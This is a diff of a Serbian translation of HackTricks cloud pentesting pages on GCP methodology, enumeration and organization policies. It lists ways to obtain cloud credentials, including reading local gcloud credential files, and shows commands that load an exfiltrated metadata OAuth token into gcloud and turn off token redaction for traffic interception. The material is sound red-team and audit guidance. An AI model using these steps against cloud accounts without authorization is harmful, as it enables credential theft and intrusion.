DigitalOcean volumeni su **block storage** uređaji koji se mogu **priključiti i odvojiti od Dropleta**. Volumeni su korisni za **čuvanje podataka** koji treba da **ostanu** nezavisno od samog Dropleta, kao što su baze podataka ili skladištenje datoteka. Mogu se promeniti veličinu, priključiti na više Dropleta i napraviti snapshot za backup.
|
||||
|
||||
### Enumeracija
|
||||
```
|
||||
compute volume list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,60 +2,60 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
**Before start pentesting** a **GCP** environment, there are a few **basics things you need to know** about how it works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**Pre nego što započnete pentesting** GCP okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako funkcioniše, što će vam pomoći da razumete šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite.
|
||||
|
||||
Concepts such as **organization** hierarchy, **permissions** and other basic concepts are explained in:
|
||||
Koncepti kao što su **organizacija** hijerarhija, **dozvole** i drugi osnovni koncepti su objašnjeni u:
|
||||
|
||||
{{#ref}}
|
||||
gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## Laboratorije za učenje
|
||||
|
||||
- [https://gcpgoat.joshuajebaraj.com/](https://gcpgoat.joshuajebaraj.com/)
|
||||
- [https://github.com/ine-labs/GCPGoat](https://github.com/ine-labs/GCPGoat)
|
||||
- [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/)
|
||||
- [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
|
||||
|
||||
## GCP Pentester/Red Team Methodology
|
||||
## GCP Pentester/Red Team metodologija
|
||||
|
||||
In order to audit a GCP environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal GCP services an **external services** connected.
|
||||
Da biste auditovali GCP okruženje, veoma je važno znati: koje **usluge se koriste**, šta je **izloženo**, ko ima **pristup** čemu, i kako su interne GCP usluge povezane sa **spoljnim uslugama**.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise a GCP environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
Iz perspektive Red Teama, **prvi korak za kompromitovanje GCP okruženja** je da uspete da dobijete neke **akreditive**. Ovde su neke ideje kako to učiniti:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/))
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in GCP-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- **Leakovi** na github-u (ili sličnim mestima) - OSINT
|
||||
- **Socijalno** inženjerstvo (Pogledajte stranicu [**Workspace Security**](../workspace-security/))
|
||||
- Ponovna upotreba **lozinki** (leakovi lozinki)
|
||||
- Ranljivosti u GCP-hostovanim aplikacijama
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) sa pristupom metapodacima
|
||||
- **Čitanje lokalnih fajlova**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 3rd party **provale**
|
||||
- **Interni** zaposleni
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
Ili kompromitovanjem **neautentifikovane usluge** koja je izložena:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
Ili ako radite **reviziju**, mogli biste jednostavno da **tražite akreditive** sa ovim rolama:
|
||||
|
||||
{{#ref}}
|
||||
gcp-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> Nakon što ste uspeli da dobijete akreditive, treba da znate **kome ti akreditive pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju:
|
||||
|
||||
## Basic Enumeration
|
||||
## Osnovna enumeracija
|
||||
|
||||
### **SSRF**
|
||||
|
||||
For more information about how to **enumerate GCP metadata** check the following hacktricks page:
|
||||
Za više informacija o tome kako da **enumerišete GCP metapodatke**, pogledajte sledeću hacktricks stranicu:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
@@ -63,8 +63,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
In GCP you can try several options to try to guess who you are:
|
||||
|
||||
U GCP možete probati nekoliko opcija da pokušate da pogodite ko ste:
|
||||
```bash
|
||||
#If you are inside a compromise machine
|
||||
gcloud auth list
|
||||
@@ -74,60 +73,55 @@ gcloud auth print-identity-token #Get info from the token
|
||||
#If you compromised a metadata token or somehow found an OAuth token
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=<token>" https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
|
||||
You can also use the API endpoint `/userinfo` to get more info about the user:
|
||||
|
||||
Možete takođe koristiti API krajnju tačku `/userinfo` da dobijete više informacija o korisniku:
|
||||
```bash
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth <access_token>" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
```
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
```bash
|
||||
# Get organizations
|
||||
gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
|
||||
gcloud resource-manager folders list --organization <org_number> # Get folders
|
||||
gcloud projects list # Get projects
|
||||
```
|
||||
### Principi i IAM Enumeracija
|
||||
|
||||
### Principals & IAM Enumeration
|
||||
Ako imate dovoljno dozvola, **proveravanje privilegija svake entiteta unutar GCP naloga** će vam pomoći da razumete šta vi i druge identitete možete da radite i kako da **povećate privilegije**.
|
||||
|
||||
If you have enough permissions, **checking the privileges of each entity inside the GCP account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal brute-force them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
Ako nemate dovoljno dozvola za enumeraciju IAM, možete **ukrasti brute-force** da ih otkrijete.\
|
||||
Proverite **kako da uradite numeraciju i brute-forcing** u:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> Sada kada **imate neke informacije o vašim kredencijalima** (i ako ste red tim, nadamo se da **niste otkriveni**). Vreme je da otkrijete koje se usluge koriste u okruženju.\
|
||||
> U sledećem odeljku možete proveriti neke načine za **enumeraciju nekih uobičajenih usluga.**
|
||||
|
||||
## Services Enumeration
|
||||
## Enumeracija Usluga
|
||||
|
||||
GCP has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets, how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
GCP ima neverovatnu količinu usluga, na sledećoj stranici ćete pronaći **osnovne informacije, enumeraciju** cheatsheets, kako da **izbegnete otkrivanje**, dobijete **persistence**, i druge **post-exploitation** trikove o nekima od njih:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automatic-tools).
|
||||
Imajte na umu da **ne** morate obavljati sav posao **ručno**, ispod u ovom postu možete pronaći **odeljak o** [**automatskim alatima**](./#automatic-tools).
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima,** možda ćete moći da ih iskoristite:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation, Post Exploitation & Persistence
|
||||
## Povećanje Privilegija, Post Eksploatacija & Persistence
|
||||
|
||||
The most common way once you have obtained some cloud credentials or have compromised some service running inside a cloud is to **abuse misconfigured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges.
|
||||
Najčešći način kada ste dobili neke cloud kredencijale ili kompromitovali neku uslugu koja radi unutar clouda je da **zloupotrebite pogrešno konfigurisane privilegije** koje kompromitovani nalog može imati. Dakle, prva stvar koju treba da uradite je da enumerišete svoje privilegije.
|
||||
|
||||
Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well.
|
||||
Štaviše, tokom ove enumeracije, zapamtite da **dozvole mogu biti postavljene na najvišem nivou "Organizacije"** takođe.
|
||||
|
||||
{{#ref}}
|
||||
gcp-privilege-escalation/
|
||||
@@ -141,32 +135,31 @@ gcp-post-exploitation/
|
||||
gcp-persistence/
|
||||
{{#endref}}
|
||||
|
||||
### Publicly Exposed Services
|
||||
### Javne Usluge
|
||||
|
||||
While enumerating GCP services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
Dok enumerišete GCP usluge, možda ste pronašli neke od njih **koje izlažu elemente internetu** (VM/Containers portovi, baze podataka ili usluge čekanja, snimci ili kante...).\
|
||||
Kao pentester/red tim, uvek biste trebali proveriti da li možete pronaći **osetljive informacije / ranjivosti** na njima jer bi vam mogle pružiti **dalji pristup u AWS nalog**.
|
||||
|
||||
In this book you should find **information** about how to find **exposed GCP services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene GCP usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama** preporučujem vam da **pretražujete** specifičnu **uslugu** na:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
{{#endref}}
|
||||
|
||||
## GCP <--> Workspace Pivoting
|
||||
## GCP <--> Workspace Pivotiranje
|
||||
|
||||
**Compromising** principals in **one** platform might allow an attacker to **compromise the other one**, check it in:
|
||||
**Kompromitovanje** principa u **jednoj** platformi može omogućiti napadaču da **kompromituje drugu**, proverite to u:
|
||||
|
||||
{{#ref}}
|
||||
gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project.
|
||||
- Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.md).
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner): This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP.
|
||||
## Automatski Alati
|
||||
|
||||
- U **GCloud konzoli**, na [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) možete videti resurse i IAM-ove koji se koriste po projektu.
|
||||
- Ovde možete videti imovinu koju podržava ovaj API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- Proverite **alate** koji se mogu [**koristiti u nekoliko cloud-a ovde**](../pentesting-cloud-methodology.md).
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner): Ovo je GCP skener resursa koji može pomoći da se odredi koji **nivo pristupa određeni kredencijali poseduju** na GCP.
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/google/gcp_scanner.git
|
||||
@@ -177,13 +170,11 @@ pip install -r requirements.txt
|
||||
# Execute with gcloud creds
|
||||
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
|
||||
```
|
||||
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file.
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script).
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script to bruteforce your permissions.
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash skripta za enumeraciju GCP okruženja koristeći gcloud cli i čuvanje rezultata u datoteci.
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Skripte za enumeraciju visokih IAM privilegija i za eskalaciju privilegija u GCP zloupotrebom istih (nisam mogao da pokrenem skriptu za enumeraciju).
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Skripta za bruteforce vaših dozvola.
|
||||
|
||||
## gcloud config & debug
|
||||
|
||||
```bash
|
||||
# Login so gcloud can use your credentials
|
||||
gcloud auth login
|
||||
@@ -198,13 +189,11 @@ gcloud auth application-default print-access-token
|
||||
# Update gcloud
|
||||
gcloud components update
|
||||
```
|
||||
|
||||
### Capture gcloud, gsutil... network
|
||||
|
||||
Remember that you can use the **parameter** **`--log-http`** with the **`gcloud`** cli to **print** the **requests** the tool is performing. If you don't want the logs to redact the token value use `gcloud config set log_http_redact_token false`
|
||||
|
||||
Moreover, to intercept the communication:
|
||||
Zapamtite da možete koristiti **parametar** **`--log-http`** sa **`gcloud`** cli da **odštampate** **zahteve** koje alat izvršava. Ako ne želite da se token vrednost rediguje u logovima, koristite `gcloud config set log_http_redact_token false`
|
||||
|
||||
Pored toga, da biste presreli komunikaciju:
|
||||
```bash
|
||||
gcloud config set proxy/address 127.0.0.1
|
||||
gcloud config set proxy/port 8080
|
||||
@@ -221,11 +210,9 @@ gcloud config unset proxy/type
|
||||
gcloud config unset auth/disable_ssl_validation
|
||||
gcloud config unset core/custom_ca_certs_file
|
||||
```
|
||||
|
||||
### OAuth token configure in gcloud
|
||||
|
||||
In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do:
|
||||
|
||||
Da biste **koristili eksfiltrirani OAuth token servisnog naloga sa metadata krajnje tačke** možete jednostavno uraditi:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
@@ -237,13 +224,8 @@ gcloud config set auth/access_token_file /some/path/to/token
|
||||
gcloud projects list
|
||||
gcloud config unset auth/access_token_file
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,207 +1,198 @@
|
||||
# GCP - Basic Information
|
||||
# GCP - Osnovne informacije
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Resource hierarchy**
|
||||
## **Hijerarhija resursa**
|
||||
|
||||
Google Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions.
|
||||
|
||||
At a high level, it looks like this:
|
||||
Google Cloud koristi [Hijerarhiju resursa](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) koja je konceptualno slična tradicionalnom fajl sistemu. Ovo pruža logički radni tok roditelj/dete sa specifičnim tačkama vezivanja za politike i dozvole.
|
||||
|
||||
Na visokom nivou, izgleda ovako:
|
||||
```
|
||||
Organization
|
||||
--> Folders
|
||||
--> Projects
|
||||
--> Resources
|
||||
--> Projects
|
||||
--> Resources
|
||||
```
|
||||
|
||||
A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.
|
||||
Virtuelna mašina (nazvana Compute Instance) je resurs. Resurs se nalazi u projektu, verovatno zajedno sa drugim Compute Instances, skladišnim kanticama itd.
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
|
||||
|
||||
## **Projects Migration**
|
||||
## **Migracija Projekata**
|
||||
|
||||
It's possible to **migrate a project without any organization** to an organization with the permissions `roles/resourcemanager.projectCreator` and `roles/resourcemanager.projectMover`. If the project is inside other organization, it's needed to contact GCP support to **move them out of the organization first**. For more info check [**this**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
|
||||
Moguće je **migrirati projekat bez organizacije** u organizaciju sa dozvolama `roles/resourcemanager.projectCreator` i `roles/resourcemanager.projectMover`. Ako je projekat unutar druge organizacije, potrebno je kontaktirati GCP podršku da **ih prvo premeste iz organizacije**. Za više informacija pogledajte [**ovo**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
|
||||
|
||||
## **Organization Policies**
|
||||
## **Politike Organizacije**
|
||||
|
||||
Allow to centralize control over your organization's cloud resources:
|
||||
Omogućavaju centralizaciju kontrole nad resursima vaše organizacije u oblaku:
|
||||
|
||||
- Centralize control to **configure restrictions** on how your organization’s resources can be used.
|
||||
- Define and establish **guardrails** for your development teams to stay within compliance boundaries.
|
||||
- Help project owners and their teams move quickly without worry of breaking compliance.
|
||||
- Centralizujte kontrolu da **konfigurišete ograničenja** o tome kako se resursi vaše organizacije mogu koristiti.
|
||||
- Definišite i uspostavite **ograničenja** za vaše razvojne timove da ostanu unutar granica usklađenosti.
|
||||
- Pomoć vlasnicima projekata i njihovim timovima da brzo napreduju bez brige o kršenju usklađenosti.
|
||||
|
||||
These policies can be created to **affect the complete organization, folder(s) or project(s)**. Descendants of the targeted resource hierarchy node **inherit the organization policy**.
|
||||
Ove politike mogu biti kreirane da **uticaju na celu organizaciju, folder(e) ili projekat(e)**. Potomci ciljanog čvora hijerarhije resursa **nasleđuju politiku organizacije**.
|
||||
|
||||
In order to **define** an organization policy, **you choose a** [**constraint**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), which is a particular type of restriction against either a Google Cloud service or a group of Google Cloud services. You **configure that constraint with your desired restrictions**.
|
||||
Da biste **definisali** politiku organizacije, **birate** [**ograničenje**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), što je određena vrsta ograničenja prema Google Cloud usluzi ili grupi Google Cloud usluga. **Konfigurišete to ograničenje sa željenim ograničenjima**.
|
||||
|
||||
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
|
||||
|
||||
#### Common use cases <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
#### Uobičajeni slučajevi korišćenja <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
|
||||
- Limit resource sharing based on domain.
|
||||
- Limit the usage of Identity and Access Management service accounts.
|
||||
- Restrict the physical location of newly created resources.
|
||||
- Disable service account creation
|
||||
- Ograničite deljenje resursa na osnovu domena.
|
||||
- Ograničite korišćenje naloga za upravljanje identitetom i pristupom.
|
||||
- Ograničite fizičku lokaciju novokreiranih resursa.
|
||||
- Onemogućite kreiranje naloga usluga.
|
||||
|
||||
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
There are many more constraints that give you fine-grained control of your organization's resources. For **more information, see the** [**list of all Organization Policy Service constraints**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
|
||||
Postoji mnogo drugih ograničenja koja vam daju preciznu kontrolu nad resursima vaše organizacije. Za **više informacija, pogledajte** [**spisak svih ograničenja usluge politike organizacije**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
|
||||
|
||||
### **Default Organization Policies**
|
||||
### **Podrazumevane Politike Organizacije**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>These are the policies that Google will add by default when setting up your GCP organization:</summary>
|
||||
<summary>Ovo su politike koje će Google dodati podrazumevano prilikom postavljanja vaše GCP organizacije:</summary>
|
||||
|
||||
**Access Management Policies**
|
||||
**Politike upravljanja pristupom**
|
||||
|
||||
- **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications.
|
||||
- **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization.
|
||||
- **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access.
|
||||
- **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets.
|
||||
- **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys.
|
||||
- **Kontakti sa ograničenim domenom:** Sprečava dodavanje korisnika u Esencijalne kontakte van vaših specificiranih domena. Ovo ograničava Esencijalne kontakte da dozvole samo upravljanim identitetima korisnika u vašim odabranim domenama da primaju obaveštenja sa platforme.
|
||||
- **Deljenje sa ograničenim domenom:** Sprečava dodavanje korisnika u IAM politike van vaših specificiranih domena. Ovo ograničava IAM politike da dozvole samo upravljanim identitetima korisnika u vašim odabranim domenama da pristupaju resursima unutar ove organizacije.
|
||||
- **Sprečavanje javnog pristupa:** Sprečava Cloud Storage kante da budu izložene javnosti. Ovo osigurava da programer ne može konfigurisati Cloud Storage kante da imaju neautentifikovani pristup internetu.
|
||||
- **Uniformni pristup na nivou kante:** Sprečava liste kontrola pristupa (ACL) na nivou objekta u Cloud Storage kantama. Ovo pojednostavljuje vaše upravljanje pristupom primenom IAM politika dosledno na svim objektima u Cloud Storage kantama.
|
||||
- **Zahtevajte OS prijavu:** VMs kreirane u novim projektima će imati omogućenu OS prijavu. Ovo vam omogućava da upravljate SSH pristupom vašim instancama koristeći IAM bez potrebe da kreirate i upravljate pojedinačnim SSH ključevima.
|
||||
|
||||
**Additional security policies for service accounts**
|
||||
**Dodatne sigurnosne politike za naloge usluga**
|
||||
|
||||
- **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation.
|
||||
- **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials.
|
||||
- **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material.
|
||||
- **Onemogućite automatske IAM dozvole**: Sprečava da se podrazumevani App Engine i Compute Engine nalozi usluga automatski dodeljuju IAM ulogu urednika prilikom kreiranja projekta. Ovo osigurava da nalozi usluga ne dobiju previše dozvola prilikom kreiranja.
|
||||
- **Onemogućite kreiranje ključeva naloga usluga**: Sprečava kreiranje javnih ključeva naloga usluga. Ovo pomaže u smanjenju rizika od izlaganja trajnih akreditiva.
|
||||
- **Onemogućite otpremu ključeva naloga usluga**: Sprečava otpremu javnih ključeva naloga usluga. Ovo pomaže u smanjenju rizika od curenja ili ponovne upotrebe materijala ključeva.
|
||||
|
||||
**Secure VPC network configuration policies**
|
||||
**Politike konfiguracije sigurnih VPC mreža**
|
||||
|
||||
- **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic.
|
||||
- **Definišite dozvoljene spoljne IP adrese za VM instance**: Sprečava kreiranje Compute instanci sa javnim IP, što može izložiti internet saobraćaju.
|
||||
|
||||
* **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs.
|
||||
* **Onemogućite VM ugnježdenu virtualizaciju**: Sprečava kreiranje ugnježdenih VMs na Compute Engine VMs. Ovo smanjuje sigurnosni rizik od neproverenih ugnježdenih VMs.
|
||||
|
||||
- **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API.
|
||||
- **Onemogućite serijski port VM:** Sprečava pristup serijskom portu Compute Engine VMs. Ovo sprečava unos u serijski port servera koristeći Compute Engine API.
|
||||
|
||||
* **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases.
|
||||
* **Ograničite autorizovane mreže na Cloud SQL instancama:** Sprečava javne ili neinternetske mrežne opsege da pristupaju vašim Cloud SQL bazama podataka.
|
||||
|
||||
- **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses.
|
||||
- **Ograničite prosleđivanje protokola na osnovu tipa IP adrese:** Sprečava prosleđivanje protokola VM za spoljne IP adrese.
|
||||
|
||||
* **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic.
|
||||
* **Ograničite javni pristup IP na Cloud SQL instancama:** Sprečava kreiranje Cloud SQL instanci sa javnim IP, što može izložiti internet saobraćaju.
|
||||
|
||||
- **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects.
|
||||
- **Ograničite uklanjanje tereta zajedničkog VPC projekta:** Sprečava slučajno brisanje zajedničkih VPC host projekata.
|
||||
|
||||
* **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability.
|
||||
* **Postavlja unutrašnju DNS postavku za nove projekte na Zonal DNS Samo:** Sprečava korišćenje nasleđene DNS postavke koja je smanjila dostupnost usluga.
|
||||
|
||||
- **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules.
|
||||
- **Preskočite kreiranje podrazumevane mreže:** Sprečava automatsko kreiranje podrazumevane VPC mreže i povezanih resursa. Ovo izbegava previše dozvola podrazumevanih pravila vatrozida.
|
||||
|
||||
* **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access.
|
||||
* **Onemogućite korišćenje VPC spoljnog IPv6:** Sprečava kreiranje spoljašnjih IPv6 podmreža, koje mogu biti izložene neovlašćenom pristupu internetu.
|
||||
|
||||
</details>
|
||||
|
||||
## **IAM Roles**
|
||||
## **IAM Uloge**
|
||||
|
||||
These are like IAM policies in AWS as **each role contains a set of permissions.**
|
||||
Ove su slične IAM politikama u AWS-u jer **svaka uloga sadrži skup dozvola.**
|
||||
|
||||
However, unlike in AWS, there is **no centralized repo** of roles. Instead of that, **resources give X access roles to Y principals**, and the only way to find out who has access to a resource is to use the **`get-iam-policy` method over that resource**.\
|
||||
This could be a problem because this means that the only way to find out **which permissions a principal has is to ask every resource who is it giving permissions to**, and a user might not have permissions to get permissions from all resources.
|
||||
Međutim, za razliku od AWS-a, ne postoji **centralizovani repozitorij** uloga. Umesto toga, **resursi daju X pristupne uloge Y principima**, a jedini način da saznate ko ima pristup resursu je korišćenje **`get-iam-policy` metode nad tim resursom**.\
|
||||
To može biti problem jer to znači da je jedini način da saznate **koje dozvole ima princip da pitate svaki resurs kome dodeljuje dozvole**, a korisnik možda nema dozvole da dobije dozvole od svih resursa.
|
||||
|
||||
There are **three types** of roles in IAM:
|
||||
Postoje **tri tipa** uloga u IAM:
|
||||
|
||||
- **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM.
|
||||
- **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
|
||||
- **Custom roles**, which provide granular access according to a user-specified list of permissions.
|
||||
- **Osnovne/Primitivne uloge**, koje uključuju **Vlasnika**, **Urednika** i **Gledaoca** uloge koje su postojale pre uvođenja IAM-a.
|
||||
- **Predefinisane uloge**, koje pružaju granularan pristup za određenu uslugu i kojima upravlja Google Cloud. Postoji mnogo predefinisanih uloga, možete **videti sve njih sa privilegijama koje imaju** [**ovde**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
|
||||
